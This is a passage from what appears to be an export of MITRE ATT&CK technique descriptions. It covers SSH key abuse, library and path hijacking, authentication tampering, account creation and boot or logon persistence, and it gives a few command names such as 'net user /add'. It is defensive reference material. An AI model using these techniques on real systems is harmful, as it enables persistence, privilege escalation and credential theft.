\u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1546.015 | Component Object Model Hijacking | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \nT1078.004 | Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1554 | Compromise Client Software Binary | Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.\nT1136.003 | Cloud Account | Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\nT1136.002 | Domain Account | Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\nT1136.001 | Local Account | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\nT1547.011 | Plist Modification | Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)\nT1547.010 | Port Monitors | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\nT1547.009 | Shortcut Modification | Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.\nT1547.008 | LSASS Driver | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.\nT1547.007 | Re-opened Applications | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.\nT1547.006 | Kernel Modules and Extensions | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)\nT1547.005 | Security Support Provider | Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\nT1547.004 | Winlogon Helper DLL | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\nT1547.003 | Time Providers | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)\nT1546.014 | Emond | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\nT1546.013 | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary 